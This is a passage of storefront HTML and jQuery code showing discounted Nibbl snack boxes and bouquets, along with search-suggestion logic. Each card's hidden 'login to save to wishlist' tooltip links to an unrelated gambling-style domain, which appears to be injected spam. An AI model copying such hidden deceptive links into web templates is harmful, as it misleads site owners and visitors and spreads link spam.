1437    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125Z" fill="#640000"/>
1438  </svg>
1439</div>
1440    </button>
1441    <a href="/products/nibbl-winter-spice-everything-nice">
1442      
1443      <div class="product-card-img-container p-0 position-relative">
1444        
1445        <img class="product-card-img"  lazy="false" src="https://outerbloom.com/cdn/shop/files/Winter-Spice-_-Everything-Nice_9ae0c558-6322-442f-b1ed-4f4325f2367a_350x.jpg?v=1761789428" data-src="https://outerbloom.com/cdn/shop/files/Winter-Spice-_-Everything-Nice_9ae0c558-6322-442f-b1ed-4f4325f2367a_350x.jpg?v=1761789428" alt="Nibbl Winter Spice &amp; Everything Nice" height="200" width="200">
1446        
1447      </div>
1448      <div class="card-body product-card-info">
1449        <h5 class="h5 mb-0">
1450          Nibbl Winter Spice & Everything Nice
1451        </h5>
1452        <div class="product-card-price">
1453          
1454          <div class="product-price-sale">
1455            <s class="product-card-price-before card-money">Rp 195.000</s>
1456            <span class="product-card-discount small">	
1457              (-56%)
1458            </span> 	
1459          </div>
1460          
1461          
1462          
1463          <div class="price-discount">
1464            <h4 class="product-card-price-after card-money">Rp 85.000</h4>
1465          </div>
1466          
1467          
1468          
1469          
1470          
1471        </div>
1472        
1473      </div>
1474    </a>
1475  </div>
1476  
1477   
1478  <div class="wishlist-tooltip" style="display:none;">
1479    <a href="https://biz.platformatas4d.eu.com/game/">Please login to save to wishlist</a>
1480  </div>
1481</div>
1482
1483                  </div>
1484                
1485              
1486                
1487                  <div class="swiper-slide card">
1488                    
1489
1490
1491
1492<div class="products" data-lazy="false">
1493  <div class="bg-products">
1494    <button type="button" class="wishlist-toggle" data-wishlist-button data-product-handle="nibbl-say-cheese-regret-nothing">
1495      <div class="wishlist-icon-wrapper">
1496  <svg class="wishlist-icon-outline" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:block;">
1497    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125ZM12 19.9991C10.4688 19.1241 1.0625 13.5077 1.0625 7.15625C1.06424 5.70638 1.64096 4.31639 2.66618 3.29118C3.69139 2.26596 5.08138 1.68924 6.53125 1.6875C8.84016 1.6875 10.7805 2.92453 11.5953 4.91516C11.6283 4.9954 11.6843 5.06403 11.7564 5.
149711233C11.8285 5.16063 11.9133 5.18642 12 5.18642C12.0867 5.18642 12.1715 5.16063 12.2436 5.11233C12.3157 5.06403 12.3717 4.9954 12.4047 4.91516C13.2195 2.92453 15.1598 1.6875 17.4688 1.6875C18.9186 1.68924 20.3086 2.26596 21.3338 3.29118C22.359 4.31639 22.9358 5.70638 22.9375 7.15625C22.9375 13.5 13.5312 19.1284 12 19.9991Z" fill="#212121"/>
1498  </svg>
1499  <svg class="wishlist-icon-filled" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:none;">
1500    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125Z" fill="#640000"/>
1501  </svg>
1502</div>
1503    </button>
1504    <a href="/products/nibbl-say-cheese-regret-nothing">
1505      
1506      <div class="product-card-img-container p-0 position-relative">
1507        
1508        <img class="product-card-img"  lazy="false" src="https://outerbloom.com/cdn/shop/files/Say-Cheese-Regret-Nothing_8a57e2b8-dfd8-4ba1-a120-21756e5dc193_350x.jpg?v=1761789423" data-src="https://outerbloom.com/cdn/shop/files/Say-Cheese-Regret-Nothing_8a57e2b8-dfd8-4ba1-a120-21756e5dc193_350x.jpg?v=1761789423" alt="Nibbl Say Cheese, Regret Nothing" height="200" width="200">
1509        
1510      </div>
1511      <div class="card-body product-card-info">
1512        <h5 class="h5 mb-0">
1513          Nibbl Say Cheese, Regret Nothing
1514        </h5>
1515        <div class="product-card-price">
1516          
1517          <div class="product-price-sale">
1518            <s class="product-card-price-before card-money">Rp 195.000</s>
1519            <span class="product-card-discount small">	
1520              (-56%)
1521            </span> 	
1522          </div>
1523          
1524          
1525          
1526          <div class="price-discount">
1527            <h4 class="product-card-price-after card-money">Rp 85.000</h4>
1528          </div>
1529          
1530          
1531          
1532          
1533          
1534        </div>
1535        
1536      </div>
1537    </a>
1538  </div>
1539  
1540   
1541  <div class="wishlist-tooltip" style="display:none;">
1542    <a href="https://biz.platformatas4d.eu.com/game/">Please login to save to wishlist</a>
1543  </div>
1544</div>
1545
1546                  </div>
1547                
1548              
1549                
1550                  <div class="swiper-slide card">
1551                    
1552
1553
1554
1555<div class="products" data-lazy="false">
1556  <div class="bg-products">
1557    <button type="button" class="wishlist-toggle" data-wishlist-button data-product-handle="nibbl-berry-affair">
1558      <div class="wishlist-icon-wrapper">
1559  <svg class="wishlist-icon-outline" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:block;">
1560    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125ZM12 19.9991C10.4688 19.1241 1.0625 13.5077 1.0625 7.15625C1.06424 5.70638 1.64096 4.31639 2.66618 3.29118C3.69139 2.26596 5.08138 1.68924 6.53125 1.6875C8.84016 1.6875 10.7805 2.92453 11.5953 4.91516C11.6283 4.9954 11.6843 5.06403 11.7564 5.
156011233C11.8285 5.16063 11.9133 5.18642 12 5.18642C12.0867 5.18642 12.1715 5.16063 12.2436 5.11233C12.3157 5.06403 12.3717 4.9954 12.4047 4.91516C13.2195 2.92453 15.1598 1.6875 17.4688 1.6875C18.9186 1.68924 20.3086 2.26596 21.3338 3.29118C22.359 4.31639 22.9358 5.70638 22.9375 7.15625C22.9375 13.5 13.5312 19.1284 12 19.9991Z" fill="#212121"/>
1561  </svg>
1562  <svg class="wishlist-icon-filled" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:none;">
1563    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125Z" fill="#640000"/>
1564  </svg>
1565</div>
1566    </button>
1567    <a href="/products/nibbl-berry-affair">
1568      
1569      <div class="product-card-img-container p-0 position-relative">
1570        
1571        <img class="product-card-img"  lazy="false" src="https://outerbloom.com/cdn/shop/files/Berry-Affair_350x.jpg?v=1761738335" data-src="https://outerbloom.com/cdn/shop/files/Berry-Affair_350x.jpg?v=1761738335" alt="Nibbl Berry Affair" height="200" width="200">
1572        
1573      </div>
1574      <div class="card-body product-card-info">
1575        <h5 class="h5 mb-0">
1576          Nibbl Berry Affair
1577        </h5>
1578        <div class="product-card-price">
1579          
1580          <div class="product-price-sale">
1581            <s class="product-card-price-before card-money">Rp 155.000</s>
1582            <span class="product-card-discount small">	
1583              (-45%)
1584            </span> 	
1585          </div>
1586          
1587          
1588          
1589          <div class="price-discount">
1590            <h4 class="product-card-price-after card-money">Rp 85.000</h4>
1591          </div>
1592          
1593          
1594          
1595          
1596          
1597        </div>
1598        
1599      </div>
1600    </a>
1601  </div>
1602  
1603   
1604  <div class="wishlist-tooltip" style="display:none;">
1605    <a href="https://biz.platformatas4d.eu.com/game/">Please login to save to wishlist</a>
1606  </div>
1607</div>
1608
1609                  </div>
1610                
1611              
1612                
1613                  <div class="swiper-slide card">
1614                    
1615
1616
1617
1618<div class="products" data-lazy="false">
1619  <div class="bg-products">
1620    <button type="button" class="wishlist-toggle" data-wishlist-button data-product-handle="nibbl-chocolate-after-dark">
1621      <div class="wishlist-icon-wrapper">
1622  <svg class="wishlist-icon-outline" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:block;">
1623    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125ZM12 19.9991C10.4688 19.1241 1.0625 13.5077 1.0625 7.15625C1.06424 5.70638 1.64096 4.31639 2.66618 3.29118C3.69139 2.26596 5.08138 1.68924 6.53125 1.6875C8.84016 1.6875 10.7805 2.92453 11.5953 4.91516C11.6283 4.9954 11.6843 5.06403 11.7564 5.
162311233C11.8285 5.16063 11.9133 5.18642 12 5.18642C12.0867 5.18642 12.1715 5.16063 12.2436 5.11233C12.3157 5.06403 12.3717 4.9954 12.4047 4.91516C13.2195 2.92453 15.1598 1.6875 17.4688 1.6875C18.9186 1.68924 20.3086 2.26596 21.3338 3.29118C22.359 4.31639 22.9358 5.70638 22.9375 7.15625C22.9375 13.5 13.5312 19.1284 12 19.9991Z" fill="#212121"/>
1624  </svg>
1625  <svg class="wishlist-icon-filled" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:none;">
1626    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125Z" fill="#640000"/>
1627  </svg>
1628</div>
1629    </button>
1630    <a href="/products/nibbl-chocolate-after-dark">
1631      
1632      <div class="product-card-img-container p-0 position-relative">
1633        
1634        <img class="product-card-img"  lazy="false" src="https://outerbloom.com/cdn/shop/files/Chocolate-After-Dark_350x.jpg?v=1761737267" data-src="https://outerbloom.com/cdn/shop/files/Chocolate-After-Dark_350x.jpg?v=1761737267" alt="Nibbl Chocolate After Dark" height="200" width="200">
1635        
1636      </div>
1637      <div class="card-body product-card-info">
1638        <h5 class="h5 mb-0">
1639          Nibbl Chocolate After Dark
1640        </h5>
1641        <div class="product-card-price">
1642          
1643          <div class="product-price-sale">
1644            <s class="product-card-price-before card-money">Rp 125.000</s>
1645            <span class="product-card-discount small">	
1646              (-32%)
1647            </span> 	
1648          </div>
1649          
1650          
1651          
1652          <div class="price-discount">
1653            <h4 class="product-card-price-after card-money">Rp 85.000</h4>
1654          </div>
1655          
1656          
1657          
1658          
1659          
1660        </div>
1661        
1662      </div>
1663    </a>
1664  </div>
1665  
1666   
1667  <div class="wishlist-tooltip" style="display:none;">
1668    <a href="https://biz.platformatas4d.eu.com/game/">Please login to save to wishlist</a>
1669  </div>
1670</div>
1671
1672                  </div>
1673                
1674              
1675                
1676                  <div class="swiper-slide card">
1677                    
1678
1679
1680
1681<div class="products" data-lazy="false">
1682  <div class="bg-products">
1683    <button type="button" class="wishlist-toggle" data-wishlist-button data-product-handle="nibbl-the-whole-d-mn-thing">
1684      <div class="wishlist-icon-wrapper">
1685  <svg class="wishlist-icon-outline" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:block;">
1686    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125ZM12 19.9991C10.4688 19.1241 1.0625 13.5077 1.0625 7.15625C1.06424 5.70638 1.64096 4.31639 2.66618 3.29118C3.69139 2.26596 5.08138 1.68924 6.53125 1.6875C8.84016 1.6875 10.7805 2.92453 11.5953 4.91516C11.6283 4.9954 11.6843 5.06403 11.7564 5.
168611233C11.8285 5.16063 11.9133 5.18642 12 5.18642C12.0867 5.18642 12.1715 5.16063 12.2436 5.11233C12.3157 5.06403 12.3717 4.9954 12.4047 4.91516C13.2195 2.92453 15.1598 1.6875 17.4688 1.6875C18.9186 1.68924 20.3086 2.26596 21.3338 3.29118C22.359 4.31639 22.9358 5.70638 22.9375 7.15625C22.9375 13.5 13.5312 19.1284 12 19.9991Z" fill="#212121"/>
1687  </svg>
1688  <svg class="wishlist-icon-filled" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:none;">
1689    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125Z" fill="#640000"/>
1690  </svg>
1691</div>
1692    </button>
1693    <a href="/products/nibbl-the-whole-d-mn-thing">
1694      
1695      <div class="product-card-img-container p-0 position-relative">
1696        
1697        <img class="product-card-img"  lazy="false" src="https://outerbloom.com/cdn/shop/files/The-Whole-Dmn-Thing_350x.jpg?v=1761737233" data-src="https://outerbloom.com/cdn/shop/files/The-Whole-Dmn-Thing_350x.jpg?v=1761737233" alt="Nibbl The Whole D*mn Thing" height="200" width="200">
1698        
1699      </div>
1700      <div class="card-body product-card-info">
1701        <h5 class="h5 mb-0">
1702          Nibbl The Whole D*mn Thing
1703        </h5>
1704        <div class="product-card-price">
1705          
1706          <div class="product-price-sale">
1707            <s class="product-card-price-before card-money">Rp 440.000</s>
1708            <span class="product-card-discount small">	
1709              (-35%)
1710            </span> 	
1711          </div>
1712          
1713          
1714          
1715          <div class="price-discount">
1716            <h4 class="product-card-price-after card-money">Rp 285.000</h4>
1717          </div>
1718          
1719          
1720          
1721          
1722          
1723        </div>
1724        
1725      </div>
1726    </a>
1727  </div>
1728  
1729   
1730  <div class="wishlist-tooltip" style="display:none;">
1731    <a href="https://biz.platformatas4d.eu.com/game/">Please login to save to wishlist</a>
1732  </div>
1733</div>
1734
1735                  </div>
1736                
1737              
1738                
1739                  <div class="swiper-slide card">
1740                    
1741
1742
1743
1744<div class="products" data-lazy="false">
1745  <div class="bg-products">
1746    <button type="button" class="wishlist-toggle" data-wishlist-button data-product-handle="the-jade-bouquet">
1747      <div class="wishlist-icon-wrapper">
1748  <svg class="wishlist-icon-outline" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:block;">
1749    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125ZM12 19.9991C10.4688 19.1241 1.0625 13.5077 1.0625 7.15625C1.06424 5.70638 1.64096 4.31639 2.66618 3.29118C3.69139 2.26596 5.08138 1.68924 6.53125 1.6875C8.84016 1.6875 10.7805 2.92453 11.5953 4.91516C11.6283 4.9954 11.6843 5.06403 11.7564 5.
174911233C11.8285 5.16063 11.9133 5.18642 12 5.18642C12.0867 5.18642 12.1715 5.16063 12.2436 5.11233C12.3157 5.06403 12.3717 4.9954 12.4047 4.91516C13.2195 2.92453 15.1598 1.6875 17.4688 1.6875C18.9186 1.68924 20.3086 2.26596 21.3338 3.29118C22.359 4.31639 22.9358 5.70638 22.9375 7.15625C22.9375 13.5 13.5312 19.1284 12 19.9991Z" fill="#212121"/>
1750  </svg>
1751  <svg class="wishlist-icon-filled" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:none;">
1752    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125Z" fill="#640000"/>
1753  </svg>
1754</div>
1755    </button>
1756    <a href="/products/the-jade-bouquet">
1757      
1758      <div class="product-card-img-container p-0 position-relative">
1759        
1760        <img class="product-card-img"  lazy="false" src="https://outerbloom.com/cdn/shop/files/The-Jade-Bouquet_350x.jpg?v=1751618030" data-src="https://outerbloom.com/cdn/shop/files/The-Jade-Bouquet_350x.jpg?v=1751618030" alt="The Jade Bouquet" height="200" width="200">
1761        
1762      </div>
1763      <div class="card-body product-card-info">
1764        <h5 class="h5 mb-0">
1765          The Jade Bouquet
1766        </h5>
1767        <div class="product-card-price">
1768          
1769          <div class="product-price-sale">
1770            <s class="product-card-price-before card-money">Rp 435.000</s>
1771            <span class="product-card-discount small">	
1772              (-34%)
1773            </span> 	
1774          </div>
1775          
1776          
1777          
1778          <div class="price-discount">
1779            <h4 class="product-card-price-after card-money">Rp 285.000</h4>
1780          </div>
1781          
1782          
1783          
1784          
1785          
1786        </div>
1787        
1788      </div>
1789    </a>
1790  </div>
1791  
1792   
1793  <div class="wishlist-tooltip" style="display:none;">
1794    <a href="https://biz.platformatas4d.eu.com/game/">Please login to save to wishlist</a>
1795  </div>
1796</div>
1797
1798                  </div>
1799                
1800              
1801                
1802                  <div class="swiper-slide card">
1803                    
1804
1805
1806
1807<div class="products" data-lazy="false">
1808  <div class="bg-products">
1809    <button type="button" class="wishlist-toggle" data-wishlist-button data-product-handle="the-selena-bouquet">
1810      <div class="wishlist-icon-wrapper">
1811  <svg class="wishlist-icon-outline" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:block;">
1812    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125ZM12 19.9991C10.4688 19.1241 1.0625 13.5077 1.0625 7.15625C1.06424 5.70638 1.64096 4.31639 2.66618 3.29118C3.69139 2.26596 5.08138 1.68924 6.53125 1.6875C8.84016 1.6875 10.7805 2.92453 11.5953 4.91516C11.6283 4.9954 11.6843 5.06403 11.7564 5.
181211233C11.8285 5.16063 11.9133 5.18642 12 5.18642C12.0867 5.18642 12.1715 5.16063 12.2436 5.11233C12.3157 5.06403 12.3717 4.9954 12.4047 4.91516C13.2195 2.92453 15.1598 1.6875 17.4688 1.6875C18.9186 1.68924 20.3086 2.26596 21.3338 3.29118C22.359 4.31639 22.9358 5.70638 22.9375 7.15625C22.9375 13.5 13.5312 19.1284 12 19.9991Z" fill="#212121"/>
1813  </svg>
1814  <svg class="wishlist-icon-filled" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:none;">
1815    <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125Z" fill="#640000"/>
1816  </svg>
1817</div>
1818    </button>
1819    <a href="/products/the-selena-bouquet">
1820      
1821      <div class="product-card-img-container p-0 position-relative">
1822        
1823        <img class="product-card-img"  lazy="false" src="https://outerbloom.com/cdn/shop/files/The-Selena-Bouquet_350x.jpg?v=1751618047" data-src="https://outerbloom.com/cdn/shop/files/The-Selena-Bouquet_350x.jpg?v=1751618047" alt="The Selena Bouquet" height="200" width="200">
1824        
1825      </div>
1826      <div class="card-body product-card-info">
1827        <h5 class="h5 mb-0">
1828          The Selena Bouquet
1829        </h5>
1830        <div class="product-card-price">
1831          
1832          <div class="product-price-sale">
1833            <s class="product-card-price-before card-money">Rp 335.000</s>
1834            <span class="product-card-discount small">	
1835              (-29%)
1836            </span> 	
1837          </div>
1838          
1839          
1840          
1841          <div class="price-discount">
1842            <h4 class="product-card-price-after card-money">Rp 235.000</h4>
1843          </div>
1844          
1845          
1846          
1847          
1848          
1849        </div>
1850        
1851      </div>
1852    </a>
1853  </div>
1854  
1855   
1856  <div class="wishlist-tooltip" style="display:none;">
1857    <a href="https://biz.platformatas4d.eu.com/game/">Please login to save to wishlist</a>
1858  </div>
1859</div>
1860
1861                  </div>
1862                
1863              
1864            </div>
1865          </div>
1866        
1867      </div>
1868    </div>
1869  </div>
1870
1871  <div class="site-overlay" style="display: none"></div>
1872</div>
1873<script>
1874  
1875  var swiper = new Swiper('.popup-recommend', {
1876      slidesPerView : 4, 
1877      spaceBetween: 30,
1878      lazy: true ,                            
1879      speed: 300,
1880      breakpoints: {
1881        // when window width is <= 576px
1882        576: {
1883        	slidesPerView: 2,
1884     	 	spaceBetween: 10,
1885            freeMode: true,
1886            resistance : true,
1887            resistanceRatio : 0,
1888			freeModeMomentumRatio : 0.45,
1889            freeModeMomentumVelocityRatio : 1.5
1890        },
1891    	768: {
1892     	 	slidesPerView: 2,
1893     	 	spaceBetween: 10
1894   		 },
1895    	992: {
1896      		slidesPerView: 3,
1897      		spaceBetween: 20
1898    	}
1899  	}
1900  });
1901
1902  const searchContainer = $("#search-popup")
1903  const searchInput = $(".search-popup")
1904  const result_collection = $('.result_collection')
1905  const result_product = $('.result_product')
1906  const resultsearch = $('.resultsearch')
1907  const resultrecommend = $(".group-recommend")
1908  const moreresult = $(".moreresult")
1909
1910  searchInput.keyup(function(){
1911    const input = $(this).val()
1912    moreresult.find("p span").text(` “${input}”`)
1913    if(input.length > 2) {
1914      $(".close-search").show()
1915      const url = `https://outerbloom.com/search/suggest.json?resources[limit]=10&resources[limit_scope]=each&resources[type]=collection,product&q=${input}`
1916      $.ajax({
1917        type: 'GET',
1918        url,
1919        beforeSend: function() {
1920            // setting a timeout
1921            // $(placeholder).addClass('loading');
1922        },
1923        success: async function(response) {
1924            resultsearch.show()
1925            resultrecommend.hide()
1926            result_collection.html("")
1927            result_product.html("")
1928            const collections = response.resources.results.collections
1929            const products = response.resources.results.products
1930            let collection_length = collections.length
1931            let product_length = products.length
1932
1933            async function getCollectionProductCount(handle) {
1934              try {
1935                const collectionUrl = `https://outerbloom.com/collections/${handle}.json`
1936                const response = await fetch(collectionUrl)
1937                if (response.ok) {
1938                  const data = await response.json()
1939                  return data.collection.products_count ? data.collection.products_count : 0
1940                }
1941                return 0
1942              } catch (error) {
1943                console.log('Error fetching collection product count:', error)
1944                return 0
1945              }
1946            }
1947
1948            // Show skeleton loader for suggestions
1949            const skeletonHTML = `
1950              <div class="skeleton-loader">
1951                <div class="skeleton-item" style="width: 80%;"></div>
1952                <div class="skeleton-item" style="width: 90%;"></div>
1953                <div class="skeleton-item" style="width: 75%;"></div>
1954                <div class="skeleton-item" style="width: 85%;"></div>
1955                <div class="skeleton-item" style="width: 70%;"></div>
1956              </div>
1957            `
1958            result_collection.html(skeletonHTML)
1959
1960            // Show skeleton loader for products (3 cards on desktop, 2 on mobile)
1961            const productSkeletonHTML = `
1962              <li class="skeleton-product-card">
1963                <div class="skeleton-product-image"></div>
1964                <div class="skeleton-product-title"></div>
1965                <div class="skeleton-product-price"></div>
1966              </li>
1967              <li class="skeleton-product-card">
1968                <div class="skeleton-product-image"></div>
1969                <div class="skeleton-product-title"></div>
1970                <div class="skeleton-product-price"></div>
1971              </li>
1972              <li class="skeleton-product-card">
1973                <div class="skeleton-product-image"></div>
1974                <div class="skeleton-product-title"></div>
1975                <div class="skeleton-product-price"></div>
1976              </li>
1977              <li class="skeleton-product-card">
1978                <div class="skeleton-product-image"></div>
1979                <div class="skeleton-product-title"></div>
1980                <div class="skeleton-product-price"></div>
1981              </li>
